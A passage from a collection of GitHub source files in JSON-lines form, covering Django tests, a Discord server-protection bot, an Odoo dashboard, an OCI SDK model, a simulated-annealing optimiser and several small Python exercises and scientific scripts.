status.HTTP_204_NO_CONTENT)\n\n def testViewProductSearchCategory(self):\n response = self.client.get(\n '%s?category=%s' % (reverse('product-search.l'), self.product_category),\n format='json'\n )\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertContains(response, self.product_name)\n\n def testViewProductSearchName(self):\n response = self.client.get(\n '%s?name=%s' % (reverse('product-search.l'), self.product_name[:3]),\n format='json'\n )\n self.assertEqual(response.status_code, status.HTTP_200_OK)\n self.assertContains(response, self.product_name)","repo_name":"anas-didi95/cheapr-fyp","sub_path":"backend/product/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38508577841","text":"from functools import reduce\n\nimport torch\n\nfrom gflownet.algo.trajectory_balance import subTB\n\n\ndef subTB_ref(P_F, P_B, F):\n h = F.shape[0] - 1\n assert P_F.shape == P_B.shape == (h,)\n assert F.ndim == 1\n\n dtype = reduce(torch.promote_types, [P_F.dtype, P_B.dtype, F.dtype])\n D = torch.zeros(h, h, dtype=dtype)\n for i in range(h):\n for j in range(i, h):\n D[i, j] = F[i] - F[j + 1]\n D[i, j] = D[i, j] + P_F[i : j + 1].sum()\n D[i, j] = D[i, j] - P_B[i : j + 1].sum()\n return D\n\n\ndef test_subTB():\n for T in range(5, 20):\n T = 10\n P_F = torch.randint(1, 10, (T,))\n P_B = torch.randint(1, 10, (T,))\n F = torch.randint(1, 10, (T + 1,))\n assert (subTB(F, P_F - P_B) == subTB_ref(P_F, P_B, F)).all()\n","repo_name":"recursionpharma/gflownet","sub_path":"tests/test_subtb.py","file_name":"test_subtb.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":111,"dataset":"github-code","pt":"52"} +{"seq_id":"35824296956","text":"import math\n\n\nclass Point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n\nclass Distance:\n def __init__(self, point_1, point_2, length):\n self.point_1 = point_1\n self.point_2 = point_2\n self.length = length\n\n\ndef calc_distance(x1, y1, x2, y2):\n c = math.sqrt((x2 - x1)**2 + (y2 - y1)**2)\n return c\n\n\nnumber_of_points = int(input())\n\nlist_points = []\ndistances = []\nmin_distance = float(\"inf\")\n\nfor index in range(0, number_of_points):\n current_point_input = list(map(int, input().split()))\n current_point = Point(current_point_input[0], current_point_input[1])\n list_points.append(current_point)\n\nfor i in range(len(list_points) - 1):\n for j in range(i + 1, len(list_points)):\n distance = Distance(point_1=list_points[i], point_2=list_points[j], length=calc_distance(list_points[i].x,\n list_points[i].y, list_points[j].x, list_points[j].y))\n distances.append(distance)\n\nfor i in range(0, len(distances)):\n if distances[i].length < min_distance:\n min_distance = distances[i].length\n point_1_min = distances[i].point_1\n point_2_min = distances[i].point_2\n else:\n pass\n\nprint(f\"{min_distance:.3f}\")\nprint(f\"({point_1_min.x}, {point_1_min.y})\")\nprint(f\"({point_2_min.x}, {point_2_min.y})\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Tsveta-Kamenova/Python-Fundamentals","sub_path":"06_Objects_and_classes_practice/closest_two_point.py","file_name":"closest_two_point.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16922524888","text":"from .api_core import Inventory\n\nclass Telebot(Inventory):\n\n def __init__(self, data):\n super().__init__(data)\n\n def get(self):\n try:\n items=[]\n inv=self.get_inventory()\n for item in inv:\n item_name=item.get('name')\n item_count=str(item.get('count'))\n items.append(\n f'Предмет -{item_name} x{item_count}'\n )\n return items\n except Exception as ex:\n return None","repo_name":"fillcapron/steam-api","sub_path":"api/telebot_api.py","file_name":"telebot_api.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"40484554997","text":"from odoo import api, models\n\n\nclass ChartData(models.Model):\n \"\"\"Used to set graphs in portal dashboard template\"\"\"\n _name = 'portal.dashboard.data'\n _description = 'To get portal dashboard data'\n\n @api.model\n def datafetch(self):\n \"\"\"To fetch datas of backend documents to show in the portal\n dashboard template depending on count of record\"\"\"\n\n partner = self.env.user.id\n partners = self.env.user\n group_id = self.env.ref('base.group_user')\n all_accounting = []\n if group_id in partners.groups_id:\n\n all_invoice = self.env['account.move'].search([\n ('state', 'not in', ['draft', 'cancel'])\n ])\n\n invoice_count = len(all_invoice)\n all_accounting.append(invoice_count)\n else:\n all_invoice = self.env['account.move'].search([\n ('partner_id','=', partners.partner_id.id),\n ('state', 'not in', ['draft', 'cancel'])\n ])\n\n invoice_count = len(all_invoice)\n all_accounting.append(invoice_count)\n\n all_so = []\n sale_order = self.env['sale.order'].search([\n ('user_id', '=', partner),\n ('state', 'not in', ['draft', 'sent'])])\n\n quotations = self.env['sale.order'].search([('user_id', '=', partner),\n ('state', 'in', ['sent'])\n ])\n\n so_count = len(sale_order)\n all_so.append(so_count)\n q_count = len(quotations)\n all_so.append(q_count)\n\n all_purchase_order = []\n purchase_order = self.env['purchase.order'].search([\n ('user_id', '=', partner),\n ('state', 'not in', ['draft', 'sent', 'to approve'])\n ])\n rfqs = self.env['purchase.order'].search([\n ('user_id', '=', partner),\n ('state', 'in', ['sent', 'to approve'])\n ])\n\n po_count = len(purchase_order)\n all_purchase_order.append(po_count)\n rfq_count = len(rfqs)\n all_purchase_order.append(rfq_count)\n\n return {\n 'target': all_so,\n 'target_po': all_purchase_order,\n 'target_accounting': all_accounting\n }\n","repo_name":"CybroOdoo/CybroAddons","sub_path":"portal_dashboard/models/chart_data.py","file_name":"chart_data.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":204,"dataset":"github-code","pt":"52"} +{"seq_id":"23508761332","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\nPN = 0.78084 #maseni procenat azota\r\nMN = 28.02e-3 #Molarna masa azota\r\nNa = 6.02e23 #Avogadrov broj\r\nLambda = 589.6 #[m] azot\r\nsigma = 33.4e-32*(589.6/Lambda) #poprecni presek za 589.6 nm azot [m2]\r\nro_atm = 1.225 #gustina atmosfere na 0m, 15oC\r\nro_n = PN*ro_atm\r\nkonc_n = (ro_atm/MN)*Na\r\n\r\nparovi = [] \r\nx = 18000*np.random.rand()\r\ny = 180000\r\nteta = 5*np.pi/3\r\n\r\nwhile ((y>0) and (y <= 180000)):\r\n parovi.append((x,y)) \r\n print(x,y)\r\n ksi = np.random.rand()\r\n tau = -np.log(1-ksi)\r\n s = tau/(konc_n*sigma)\r\n print(s)\r\n x += s*np.cos(teta)\r\n y += s*np.sin(teta)\r\n teta1 = teta \r\n teta = 2*np.pi*np.random.rand() \r\nteta_ulazno = teta1 % np.pi\r\ndx = y/np.tan(teta_ulazno)\r\nx -= dx \r\nparovi.append((x,0)) \r\nplt.plot(*zip(*parovi))\r\nplt.show()","repo_name":"ispastlibrary/Titan","sub_path":"2016/AST2/Bili/Sumrak/crtanje_putanje.py","file_name":"crtanje_putanje.py","file_ext":"py","file_size_in_byte":835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"2607733017","text":"import sys\nimport numpy as np\n\nfrom timeit import default_timer as timer\n\nfrom pycompss.api.api import compss_wait_on, compss_barrier\nfrom pycompss.api.task import task\nfrom pycompss.api.parameter import *\n\n\ndef initialize_variables(identity=False):\n import numpy as np\n for matrix in [A, B, C]:\n for i in range(MSIZE):\n matrix.append([])\n for j in range(MSIZE):\n if matrix == C:\n block = np.array(np.zeros((BSIZE, BSIZE)),\n dtype=np.double, copy=False)\n elif identity and matrix == B:\n if i == j:\n block = np.array(np.identity(BSIZE, dtype=np.double),\n dtype=np.double, copy=False)\n else:\n block = np.array(np.zeros((BSIZE, BSIZE)),\n dtype=np.double, copy=False)\n else:\n block = np.array(np.random.random((BSIZE, BSIZE)),\n dtype=np.double, copy=False)\n mb = np.matrix(block)\n matrix[i].append(mb)\n\n\n# ## TASK SELECTION ## #\n\n@task(a={Type: IN, RRO: True}, b={Type: IN, RRO: True}, c=INOUT)\ndef multiply(a, b, c):\n import numpy as np\n c += np.matrix(a)*np.matrix(b)\n\n\n# ## MAIN PROGRAM ## #\n\nif __name__ == \"__main__\":\n\n args = sys.argv[1:]\n\n MSIZE = int(args[0])\n BSIZE = int(args[1])\n\n if len(args) == 3:\n identity=True\n else:\n identity=False\n\n A = []\n B = []\n C = []\n\n initialize_variables(identity)\n\n begin = timer()\n\n for i in range(MSIZE):\n for j in range(MSIZE):\n for k in range(MSIZE):\n multiply(A[i][k], B[k][j], C[i][j])\n\n if identity:\n for i in range(MSIZE):\n for j in range(MSIZE):\n C[i][j] = compss_wait_on(C[i][j])\n if not np.array_equal(C[i][j], A[i][j]):\n print('Error: bad value in array' + str(i) + str(j) + '.')\n print(\"C\" + str(i) + str(j) + \"=\" + str(C[i][j]))\n print(\"A\" + str(i) + str(j) + \"=\" + str(A[i][j]))\n print(\"B\" + str(i) + str(j) + \"=\" + str(B[i][j]))\n exit(1)\n print('Check is valid.')\n else:\n compss_barrier()\n end = timer()\n print(\"time: \" + str(end-begin) + \" s\")\n","repo_name":"clementFoyer/pycompss_shm","sub_path":"testing_scripts/matmul/matmul.py","file_name":"matmul.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"42354877118","text":"#!/usr/bin/env python\n\nwith open(\"input.txt\", \"r\") as f:\n data = f.read()\n f.close()\n\ndef parse(line):\n line = line[1:]\n lst = []\n n = \"\"\n while line[0] != ']':\n if line[0] == '[':\n (l, line) = parse(line)\n lst.append(l)\n elif line [0] == ',':\n line = line[1:]\n if len(n) > 0:\n lst.append(int(n))\n n = \"\"\n else:\n c, line = line[:1], line[1:]\n n += c\n if len(n) > 0:\n lst.append(int(n))\n n = \"\"\n line = line[1:]\n return (lst, line)\n\ndef compare(left, right, level=0):\n m = \" \" * level * 2\n print(f\"{m}- Compare {left} vs {right}\")\n if isinstance(left, int) and isinstance(right, int):\n if left > right:\n print(f\"{m} - Right side is smaller, so inputs are NOT in the right order\")\n return 0\n elif left < right:\n print(f\"{m} - Left side is smaller, so inputs are in the right order\")\n return 2\n else:\n return 1\n elif isinstance(left, list) and isinstance(right, list):\n while len(left) > 0 and len(right) > 0:\n l = left.pop(0)\n r = right.pop(0)\n res = compare(l, r, level+1)\n if res == 0:\n return 0\n elif res == 2:\n return 2\n else:\n continue\n if len(left) > 0 and len(right) == 0:\n print(f\"{m} - Right side ran out of items, so inputs are NOT in the right order\")\n return 0\n elif len(right) > 0 and len(left) == 0:\n print(f\"{m} - Left side ran out of items, so inputs are in the right order\")\n return 2\n else:\n return 1\n else:\n if isinstance(left, int):\n left = [left]\n print(f\"{m} - Mixed types; convert left to [{left}] and retry comparison\")\n elif isinstance(right, int):\n right = [right]\n print(f\"{m} - Mixed types; convert right to [{right}] and retry comparison\")\n return compare(left, right, level+1)\n\npairs = []\nlines = list(filter(lambda x: len(x) > 0, data.split(\"\\n\")))\nwhile len(lines) > 0:\n (left, _) = parse(lines.pop(0))\n (right, _) = parse(lines.pop(0))\n pairs.append((left, right))\n\norder = []\nfor i, p in enumerate(pairs):\n print(f\"== Pair {i+1} ==\")\n result = compare(p[0], p[1])\n if result == 2:\n order.append(i+1)\n print(f\"Result: {result == 2}\")\n print()\n\nprint(f\"Pairs in the right order: {order}\")\nprint(f\"Total: {sum(order)}\")\n","repo_name":"chrisyunker/advent-of-code-2022","sub_path":"13-1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"9681158050","text":"import os\nimport re\nimport ast\nimport json\nimport time\nimport random\nimport urllib\nimport discord\nimport inspect\nimport asyncio\nimport aiohttp\nimport datetime\nimport requests\nimport giphy_client\nimport button_paginator as pg\nfrom PIL import Image, ImageFilter\nfrom urllib.request import Request, urlopen\n\nfrom io import BytesIO\nfrom asyncio import sleep\nfrom discord.ext import commands, tasks\nfrom discord.ui import Button, View\nfrom giphy_client.rest import ApiException\n\ndef is_server_owner(ctx):\n return ctx.message.author.id == ctx.guild.owner.id\n\nclass antinuke(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n @commands.Cog.listener()\n async def on_ready(self):\n setattr(self.bot, \"db\", await aiosqlite.connect(\"main.db\"))\n async with self.bot.db.cursor() as cursor:\n await cursor.execute(\"CREATE TABLE IF NOT EXISTS antinukewhitelisted (user INTEGER, guild INTEGER)\")\n await self.bot.db.commit()\n\n @commands.Cog.listener()\n async def on_guild_channel_create(self, channel):\n with open('whitelisted.json') as f:\n whitelisted = json.load(f)\n async for i in channel.guild.audit_logs(limit=1, after=datetime.datetime.now() - datetime.timedelta(minutes = 2), action=discord.AuditLogAction.channel_create):\n if str(i.user.id) in whitelisted[str(channel.guild.id)]:\n return\n \n\n await channel.guild.kick(i.user, reason=\"Anti-Nuke: Creating Channels\")\n await i.target.delete(reason=f\"wonder antinuke\")\n await i.target.delete(reason=f\"wonder antinuke\")\n return\n \n @commands.Cog.listener()\n async def on_guild_channel_delete(self, channel):\n with open('whitelisted.json') as f:\n whitelisted = json.load(f)\n async for i in channel.guild.audit_logs(limit=1, after=datetime.datetime.now() - datetime.timedelta(minutes = 2), action=discord.AuditLogAction.channel_delete):\n if str(i.user.id) in whitelisted[str(channel.guild.id)]:\n return\n await channel.guild.kick(i.user, reason=\"wonder antinuke\")\n return\n\n @commands.Cog.listener()\n async def on_member_ban(self, guild, user):\n with open('whitelisted.json') as f:\n whitelisted = json.load(f)\n async for i in guild.audit_logs(limit=1, after=datetime.datetime.now() - datetime.timedelta(minutes = 2), action=discord.AuditLogAction.ban):\n \n if str(i.user.id) in whitelisted[str(guild.id)]:\n return\n \n await guild.ban(i.user, reason=\"wonder antinuke\")\n await guild.kick(i.user, reason=\"wonder antinuke\")\n return\n\n @commands.Cog.listener()\n async def on_member_remove(self, member):\n with open('whitelisted.json') as f:\n whitelisted = json.load(f)\n async for i in member.guild.audit_logs(limit=1, after=datetime.datetime.now() - datetime.timedelta(minutes = 2), action=discord.AuditLogAction.kick):\n \n if str(i.user.id) in whitelisted[str(i.guild.id)]:\n return\n if i.target.id == member.id:\n await i.user.kick()\n return\n\n @commands.Cog.listener()\n async def on_member_join(self, member):\n with open('whitelisted.json') as f:\n whitelisted = json.load(f)\n async for i in member.guild.audit_logs(limit=1, after=datetime.datetime.now() - datetime.timedelta(minutes = 2), action=discord.AuditLogAction.bot_add):\n \n if str(i.user.id) in whitelisted[str(member.guild.id)]:\n return\n \n if member.bot:\n await member.ban(reason=\"wonder antinuke\")\n await i.user.kick(reason=\"wonder antinuke\")\n return\n\n\n @commands.Cog.listener()\n async def on_guild_role_create(self, role):\n with open('whitelisted.json') as f:\n whitelisted = json.load(f)\n async for i in role.guild.audit_logs(limit=1, after=datetime.datetime.now() - datetime.timedelta(minutes = 2), action=discord.AuditLogAction.role_create):\n if i.user.bot:\n return\n \n if str(i.user.id) in whitelisted[str(role.guild.id)]:\n return\n \n await role.guild.kick(i.user, reason=\"wonder antinuke\")\n await i.target.delete()\n return\n \n @commands.Cog.listener()\n async def on_guild_role_delete(self, role):\n with open('whitelisted.json') as f:\n whitelisted = json.load(f)\n async for i in role.guild.audit_logs(limit=1, after=datetime.datetime.now() - datetime.timedelta(minutes = 2), action=discord.AuditLogAction.role_delete):\n if i.user.bot:\n return\n \n if str(i.user.id) in whitelisted[str(role.guild.id)]:\n return\n \n await role.guild.kick(i.user, reason=\"wonder antinuke\")\n await i.target.clone()\n return\n\n @commands.Cog.listener()\n async def on_guild_role_update(self, before, after):\n with open('whitelisted.json') as f:\n whitelisted = json.load(f)\n async for i in after.guild.audit_logs(limit=1, after=datetime.datetime.now() - datetime.timedelta(minutes = 2), action=discord.AuditLogAction.role_update):\n \n if str(i.user.id) in whitelisted[str(after.guild.id)]:\n return\n\n if not before.permissions.ban_members and after.permissions.ban_members:\n await after.guild.kick(i.user, reason=f\"wonder antinuke\")\n permissions = after.permissions\n permissions.update(ban_members=False)\n await after.edit(permissions=permissions)\n\n if not before.permissions.administrator and after.permissions.administrator:\n await after.guild.kick(i.user, reason=f\"wonder antinuke\")\n permissions = after.permissions\n permissions.update(administrator=False)\n await after.edit(permissions=permissions)\n\n if not before.permissions.kick_members and after.permissions.kick_members:\n await after.guild.kick(i.user, reason=f\"wonder antinuke\")\n permissions = after.permissions\n permissions.update(kick_members=False)\n await after.edit(permissions=permissions)\n\n if not before.permissions.manage_channels and after.permissions.manage_channels:\n await after.guild.kick(i.user, reason=f\"wonder antinuke\")\n permissions = after.permissions\n permissions.update(manage_guild=False)\n await after.edit(permissions=permissions)\n return\n\n\n @commands.command(aliases = ['wld'], hidden=True)\n async def whitelisted(self, ctx):\n icon = ''\n embed = discord.Embed(description=\"\")\n embed.set_author(name = f\"Whitelisted users in {ctx.guild.name}\", icon_url = ctx.guild.icon.url)\n\n with open ('whitelisted.json', 'r') as i:\n whitelisted = json.load(i)\n try:\n for u in whitelisted[str(ctx.guild.id)]:\n embed.description += f\"<@{u}>\\n\"\n await ctx.reply(embed = embed)\n except KeyError:\n await ctx.reply(\"no whitelisted users in this server\")\n \n\n @commands.command(aliases = ['wl'], hidden=True)\n @commands.check(is_server_owner)\n async def whitelist(self, ctx, user: discord.Member = None):\n if user is None:\n await ctx.reply(\"specify a user to whitelist\")\n return\n with open ('whitelisted.json', 'r') as f:\n whitelisted = json.load(f)\n\n\n if str(ctx.guild.id) not in whitelisted:\n whitelisted[str(ctx.guild.id)] = []\n else:\n if str(user.id) not in whitelisted[str(ctx.guild.id)]:\n whitelisted[str(ctx.guild.id)].append(str(user.id))\n else:\n await ctx.reply(f\"{user.mention} is already whitelisted\")\n return\n\n\n\n with open ('whitelisted.json', 'w') as f: \n json.dump(whitelisted, f, indent=4)\n \n await ctx.reply(f\"{user.mention} has been whitelisted\")\n @whitelist.error\n async def whitelist_error(ctx, error):\n if isinstance(error, commands.CheckFailure):\n await ctx.reply(\"only the server owner can use this command\")\n\n @commands.command(aliases = ['uwl'], hidden=True)\n @commands.check(is_server_owner)\n async def unwhitelist(self, ctx, user: discord.User = None):\n if user is None:\n await ctx.reply(\"specify a user to unwhitelist\")\n return\n with open ('whitelisted.json', 'r') as f:\n whitelisted = json.load(f)\n try:\n if str(user.id) in whitelisted[str(ctx.guild.id)]:\n whitelisted[str(ctx.guild.id)].remove(str(user.id))\n \n with open ('whitelisted.json', 'w') as f: \n json.dump(whitelisted, f, indent=4)\n \n await ctx.reply(f\"{user.mention} has been unwhitelisted\")\n except KeyError:\n await ctx.reply(f\"{user.mention} is not whitelisted\")\n @unwhitelist.error\n async def unwhitelist_error(ctx, error):\n if isinstance(error, commands.CheckFailure):\n await ctx.reply(\"only the server owner can use this command\")\nasync def setup(bot):\n await bot.add_cog(antinuke(bot))","repo_name":"hifthot/skidcity","sub_path":"wonder/cogs/antinuke.py","file_name":"antinuke.py","file_ext":"py","file_size_in_byte":9249,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"52"} +{"seq_id":"31599910019","text":"from .create_opsi_configuration_details import CreateOpsiConfigurationDetails\nfrom oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401\nfrom oci.decorators import init_model_state_from_kwargs\n\n\n@init_model_state_from_kwargs\nclass CreateOpsiUxConfigurationDetails(CreateOpsiConfigurationDetails):\n \"\"\"\n Information about OPSI UX configuration to be created.\n \"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"\n Initializes a new CreateOpsiUxConfigurationDetails object with values from keyword arguments. The default value of the :py:attr:`~oci.opsi.models.CreateOpsiUxConfigurationDetails.opsi_config_type` attribute\n of this class is ``UX_CONFIGURATION`` and it should not be changed.\n The following keyword arguments are supported (corresponding to the getters/setters of this class):\n\n :param compartment_id:\n The value to assign to the compartment_id property of this CreateOpsiUxConfigurationDetails.\n :type compartment_id: str\n\n :param opsi_config_type:\n The value to assign to the opsi_config_type property of this CreateOpsiUxConfigurationDetails.\n Allowed values for this property are: \"UX_CONFIGURATION\"\n :type opsi_config_type: str\n\n :param display_name:\n The value to assign to the display_name property of this CreateOpsiUxConfigurationDetails.\n :type display_name: str\n\n :param description:\n The value to assign to the description property of this CreateOpsiUxConfigurationDetails.\n :type description: str\n\n :param freeform_tags:\n The value to assign to the freeform_tags property of this CreateOpsiUxConfigurationDetails.\n :type freeform_tags: dict(str, str)\n\n :param defined_tags:\n The value to assign to the defined_tags property of this CreateOpsiUxConfigurationDetails.\n :type defined_tags: dict(str, dict(str, object))\n\n :param system_tags:\n The value to assign to the system_tags property of this CreateOpsiUxConfigurationDetails.\n :type system_tags: dict(str, dict(str, object))\n\n :param config_items:\n The value to assign to the config_items property of this CreateOpsiUxConfigurationDetails.\n :type config_items: list[oci.opsi.models.CreateConfigurationItemDetails]\n\n \"\"\"\n self.swagger_types = {\n 'compartment_id': 'str',\n 'opsi_config_type': 'str',\n 'display_name': 'str',\n 'description': 'str',\n 'freeform_tags': 'dict(str, str)',\n 'defined_tags': 'dict(str, dict(str, object))',\n 'system_tags': 'dict(str, dict(str, object))',\n 'config_items': 'list[CreateConfigurationItemDetails]'\n }\n\n self.attribute_map = {\n 'compartment_id': 'compartmentId',\n 'opsi_config_type': 'opsiConfigType',\n 'display_name': 'displayName',\n 'description': 'description',\n 'freeform_tags': 'freeformTags',\n 'defined_tags': 'definedTags',\n 'system_tags': 'systemTags',\n 'config_items': 'configItems'\n }\n\n self._compartment_id = None\n self._opsi_config_type = None\n self._display_name = None\n self._description = None\n self._freeform_tags = None\n self._defined_tags = None\n self._system_tags = None\n self._config_items = None\n self._opsi_config_type = 'UX_CONFIGURATION'\n\n def __repr__(self):\n return formatted_flat_dict(self)\n\n def __eq__(self, other):\n if other is None:\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n return not self == other\n","repo_name":"oracle/oci-python-sdk","sub_path":"src/oci/opsi/models/create_opsi_ux_configuration_details.py","file_name":"create_opsi_ux_configuration_details.py","file_ext":"py","file_size_in_byte":3795,"program_lang":"python","lang":"en","doc_type":"code","stars":345,"dataset":"github-code","pt":"52"} +{"seq_id":"34004154009","text":"# -*- coding: utf-8 -*-\r\nimport random\r\nimport math\r\nimport time\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nplt.rcParams['font.sans-serif'] = ['SimHei'] # 用来正常显示中文标签\r\nplt.rcParams['axes.unicode_minus'] = False # 用来正常显示负号\r\n\r\n\r\nclass SA(object):\r\n def __init__(self, exist_ins, mat_diversity):\r\n self.T0 = 4000\r\n self.Tend = 1e-3\r\n self.rate = 0.97\r\n self.ind_num = 100\r\n self.add_ins_num = 50 # autu-scale数\r\n self.exist_ins = exist_ins # 城市的位置坐标\r\n # 计算距离矩阵\r\n self.mat_diversity = mat_diversity\r\n self.scores = []\r\n self.fires = []\r\n self.fire = self.random_init(self.ind_num, self.add_ins_num)\r\n # 显示初始化后的路径\r\n init_degree = 1. / self.compute_diversity_degree(self.fire, self.mat_diversity)\r\n # init_best = self.location[self.fire]\r\n # 存储存储每个温度下的最终路径,画出收敛图\r\n self.iter_x = [0]\r\n self.iter_y = [10000 * init_degree]\r\n\r\n # 随机初始化\r\n def random_init(self, num_generation, add_ins_num):\r\n result = []\r\n while len(result) <= num_generation:\r\n tmp_individual = []\r\n for j in range(add_ins_num):\r\n tmp_individual.append(random.randint(0, 5))\r\n if tmp_individual in result:\r\n continue\r\n else:\r\n result.append(tmp_individual)\r\n result = list(set([tuple(t) for t in result]))\r\n result = [list(t) for t in result]\r\n # 和前几个算法不同的是,前几个算法输出的是多组结果,这个算法里输出的是最好的一个结果\r\n degrees = self.compute_individuals(result)\r\n sortindex = np.argsort(degrees)\r\n index = sortindex[0]\r\n return result[index]\r\n\r\n # 计算一条路径长度\r\n def compute_diversity_degree(self, individual, mat_diversity):\r\n # print(individual)\r\n result = 0.0\r\n for i in individual:\r\n for j in self.exist_ins:\r\n result += mat_diversity[i][j]\r\n for i in range(len(individual) - 1):\r\n for j in range(i + 1, len(individual)):\r\n result += mat_diversity[individual[i]][individual[j]]\r\n return result\r\n\r\n # 计算一个温度下产生的一个群体的长度\r\n def compute_individuals(self, individuals):\r\n result = []\r\n for one in individuals:\r\n length = self.compute_diversity_degree(one, self.mat_diversity)\r\n result.append(length)\r\n return result\r\n\r\n # 产生一个新的解:随机生成新的元素\r\n def get_new_fire(self, fire):\r\n fire = fire.copy()\r\n t = [x for x in range(len(fire))]\r\n a, b = np.random.choice(t, 2)\r\n # fire[a:b] = [random.randint(0, 5) for i in range(len(fire[a:b]))]\r\n # a, b, c = np.random.choice(t, 3)\r\n fire[a] = random.randint(0, 5)\r\n fire[b] = random.randint(0, 5)\r\n # fire[c] = random.randint(0, 5)\r\n return fire\r\n\r\n # 退火策略,根据温度变化有一定概率接受差的解\r\n def eval_fire(self, raw, get, temp):\r\n degree1 = self.compute_diversity_degree(raw, self.mat_diversity)\r\n degree2 = self.compute_diversity_degree(get, self.mat_diversity)\r\n dc = degree2 - degree1\r\n p = max(1e-1, np.exp(-dc / temp))\r\n # 如果新解更好则接受新解\r\n if degree2 < degree1:\r\n return get, degree2\r\n # 如果新解不如旧解,也以一定的概率接收新解\r\n elif np.random.rand() <= p:\r\n return get, degree2\r\n else:\r\n return raw, degree1\r\n\r\n # 模拟退火总流程\r\n def sa(self):\r\n count = 0\r\n # 记录最优解\r\n best_individual = self.fire\r\n best_degree = self.compute_diversity_degree(self.fire, self.mat_diversity)\r\n\r\n while self.T0 > self.Tend:\r\n count += 1\r\n # 产生在这个温度下的随机解\r\n tmp_new = self.get_new_fire(self.fire.copy())\r\n # 根据温度判断是否选择这个解\r\n self.fire, fire_degree = self.eval_fire(best_individual, tmp_new, self.T0)\r\n # 更新最优解\r\n if fire_degree < best_degree:\r\n best_degree = fire_degree\r\n best_individual = self.fire\r\n # 降低温度\r\n self.T0 *= self.rate\r\n # 记录路径收敛曲线\r\n self.iter_x.append(count)\r\n self.iter_y.append(10000 / best_degree)\r\n print(count, 10000 / best_degree)\r\n return best_degree, best_individual\r\n\r\n def run(self):\r\n best_degree, best_individual = self.sa()\r\n return best_individual, best_degree\r\n\r\n\r\nstart_t =time.time()\r\nmat_diversity = np.load(\"CVE/mat_diversity.npy\")\r\nmat_diversity = mat_diversity / np.max(mat_diversity)\r\nexist_ins = np.load(\"CVE/ins_exist.npy\")\r\nBest, Best_individual = math.inf, None\r\n\r\nmodel = SA(exist_ins=exist_ins.copy(), mat_diversity=mat_diversity.copy())\r\nindividual, ind_degree = model.run()\r\n\r\nprint(10000 / ind_degree)\r\nend_t =time.time()\r\nprint('Running time: %s Seconds'%(end_t-start_t))\r\n\r\nif ind_degree < Best:\r\n Best = ind_degree\r\n Best_individual = individual\r\n# 加上一行因为会回到起点\r\n# Best_individual = np.vstack([Best_individual, Best_individual[0]])\r\niterations = model.iter_x\r\nbest_record = model.iter_y\r\nplt.plot(iterations, best_record)\r\nplt.title('Convergence Curve of SA')\r\nplt.show()\r\n\r\nnp.save(\"data/E_SA.npy\", best_record)\r\n# fig, axs = plt.subplots(2, 1, sharex=False, sharey=False)\r\n# axs[0].scatter(Best_individual[:, 0], Best_individual[:,1])\r\n# Best_individual = np.vstack([Best_individual, Best_individual[0]])\r\n# axs[0].plot(Best_individual[:, 0], Best_individual[:, 1])\r\n# axs[0].set_title('规划结果')\r\n# iterations = model.iter_x\r\n# best_record = model.iter_y\r\n# axs[1].plot(iterations, best_record)\r\n# axs[1].set_title('收敛曲线')\r\n# plt.show()\r\n\r\n","repo_name":"goodboydan/DMESM","sub_path":"Script/DMESM-SA.py","file_name":"DMESM-SA.py","file_ext":"py","file_size_in_byte":6086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"8950860534","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport math\nimport numpy as np\nimport pandas as pd\nimport time\nfrom scipy.optimize import LinearConstraint\nfrom scipy.optimize import BFGS\nfrom scipy.optimize import minimize, fsolve\nfrom scipy.optimize import NonlinearConstraint\nfrom scipy.linalg import block_diag\nfrom scipy.stats import uniform\n#from functions_saddle_uniform_slope import *\nfrom uniform_sadd import uniform_sda, equlity_constraints_uniform, RF_step2_uniform, get_near_psd\n#get_ipython().run_line_magic('config', 'Completer.use_jedi = False')\n\n# In[ ]:\n\ndat = pd.read_csv('try668.csv')\ndf = dat.sort_values('store_clus')\nss = df.groupby('store_clus')['logistic_qty'].size().ravel()\n\nd=n=2\ng=len(ss)\ngroup_index = np.repeat(np.linspace(1, g, g), ss).astype(int)\nunique_levels = len(np.unique(group_index))\n\n#### get the dummy matrix\npd_group_index = pd.DataFrame(group_index, columns = ['group_index'])\ndummy_matrix = pd.get_dummies(pd_group_index['group_index'].astype('category',copy=False), prefix='x0')\nY = df['logistic_qty'].values\n#len(Y)\n\n\n# In[11]:\nX = df[['intcp', 'disc']]\nZ = X\n#X.head(4)\n\nN = X.shape[0]; d=n=2; k=2\nm_vector = np.ones(k)[:, np.newaxis]\n\n\nRF_index = np.array(['Y', 'Y'])\nRF_true = np.where(RF_index == 'Y')[0].astype(int)\nX_df = pd.DataFrame(X)\nX_df_subset = X_df.iloc[:, RF_true]\n\n\nZ1 = pd.DataFrame()\nfor j in range(X_df_subset.shape[1]):\n tem = pd.DataFrame(X_df_subset.iloc[:, j].values[:, 